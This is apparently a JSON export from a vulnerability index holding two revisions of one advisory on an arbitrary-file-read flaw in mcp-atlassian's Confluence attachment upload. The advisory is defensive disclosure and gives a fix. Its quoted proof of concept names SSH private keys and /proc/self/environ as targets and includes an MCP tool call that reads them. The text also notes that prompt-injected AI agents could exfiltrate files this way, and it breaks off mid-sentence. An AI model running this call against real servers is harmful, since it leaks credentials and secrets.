{"items":[{"id":"NVI-00015057","kind":"vulnerability","title":"mcp-atlassian: Arbitrary file read via missing path validation in confluence_upload_attachment","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-g5r6-gv6m-f5jv","CVE-2026-73498"],"plain_summary":"GitHub lists this reviewed advisory for mcp-atlassian. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-41a1176be3eee20315dc502d704d20fb"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-08-12T21:17:31.000Z","value":"7.7 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-134ff7cbd08baa967a0617bfd3c9035b"},{"kind":"CVSS","as_of":"2026-10-24T15:10:00.190Z","value":"7.7 HIGH (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-41a1176be3eee20315dc502d704d20fb"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-134ff7cbd08baa967a0617bfd3c9035b","url":"https://github.com/advisories/GHSA-g5r6-gv6m-f5jv","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-g5r6-gv6m-f5jv","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T20:16:47.162Z"},{"id":"sr-41a1176be3eee20315dc502d704d20fb","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73498","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-73498","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-08T19:45:24.870Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-134ff7cbd08baa967a0617bfd3c9035b"],"technology":"mcp-atlassian","known_exclusions":[],"conditions_summary":"### Summary\n`confluence_upload_attachment` passes `file_path` directly to `open(file_path, \"rb\")` with no path validation. Any authenticated MCP client — or an AI agent manipulated via prompt injection — can read any file the server process can access and exfiltrate it to Confluence as an attachment.\n\n### Details\nRoot cause: `src/mcp_atlassian/confluence/attachments.py`, `_upload_attachment_direct()`:\n\n```python\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}  # no validate_safe_path()\n```\n\nThe fix already exists in the same file. `download_attachment()` calls `validate_safe_path(target_path)`. The developer's intent was to validate paths — upload was missed. Proven by the codebase itself.\n\nOne-line fix — add before the `open()` call:\n```python\nvalidate_safe_path(file_path)\n```\n\n### PoC\n**Stage 1 — Direct API (confirmed):**\nUploaded `C:\\Windows\\System32\\drivers\\etc\\hosts` (826 bytes) → HTTP 200.\nUploaded `~/.ssh/id_ed25519` (SSH private key) → HTTP 200.\n\n**Stage 2 — End-to-end MCP client (confirmed against v0.21.1):**\n```python\nawait session.call_tool(\"confluence_upload_attachment\", {\n    \"content_id\": \"\",\n    \"file_path\": \"/proc/self/environ\"\n})\n```\nServer opens file ","public_affected_ranges":["< 0.22.0"]}],"null_published_at":"2026-11-08T19:53:44.052Z","source_updated_at":"2026-08-12T21:17:31.000Z","source_disclosed_at":"2026-07-10T19:34:37.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-11-02T20:16:47.162Z"},{"id":"NVI-00015057","kind":"vulnerability","title":"mcp-atlassian: Arbitrary file read via missing path validation in confluence_upload_attachment","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-g5r6-gv6m-f5jv","CVE-2026-73498"],"plain_summary":"GitHub lists this reviewed advisory for mcp-atlassian. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-134ff7cbd08baa967a0617bfd3c9035b"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-08-12T21:17:31.000Z","value":"7.7 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-134ff7cbd08baa967a0617bfd3c9035b"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-134ff7cbd08baa967a0617bfd3c9035b","url":"https://github.com/advisories/GHSA-g5r6-gv6m-f5jv","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-g5r6-gv6m-f5jv","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T20:16:47.162Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-134ff7cbd08baa967a0617bfd3c9035b"],"technology":"mcp-atlassian","known_exclusions":[],"conditions_summary":"### Summary\n`confluence_upload_attachment` passes `file_path` directly to `open(file_path, \"rb\")` with no path validation. Any authenticated MCP client — or an AI agent manipulated via prompt injection — can read any file the server process can access and exfiltrate it to Confluence as an attachment.\n\n### Details\nRoot cause: `src/mcp_atlassian/confluence/attachments.py`, `_upload_attachment_direct()`:\n\n```python\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}  # no validate_safe_path()\n```\n\nThe fix already exists in the same file. `download_attachment()` calls `validate_safe_path(target_path)`. The developer's intent was to validate paths — upload was missed. Proven by the codebase itself.\n\nOne-line fix — add before the `open()` call:\n```python\nvalidate_safe_path(file_path)\n```\n\n### PoC\n**Stage 1 — Direct API (confirmed):**\nUploaded `C:\\Windows\\System32\\drivers\\etc\\hosts` (826 bytes) → HTTP 200.\nUploaded `~/.ssh/id_ed25519` (SSH private key) → HTTP 200.\n\n**Stage 2 — End-to-end MCP client (confirmed against v0.21.1):**\n```python\nawait session.call_tool(\"confluence_upload_attachment\", {\n    \"content_id\": \"\",\n    \"file_path\": \"/proc/self/environ\"\n})\n```\nServer opens file ","public_affected_ranges":["< 0.22.0"]}],"null_published_at":"2026-11-03T10:03:26.541Z","source_updated_at":"2026-08-12T21:17:31.000Z","source_disclosed_at":"2026-07-10T19:34:37.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-02T20:16:47.162Z"}],"next_cursor":null,"snapshot_revision":"42594"}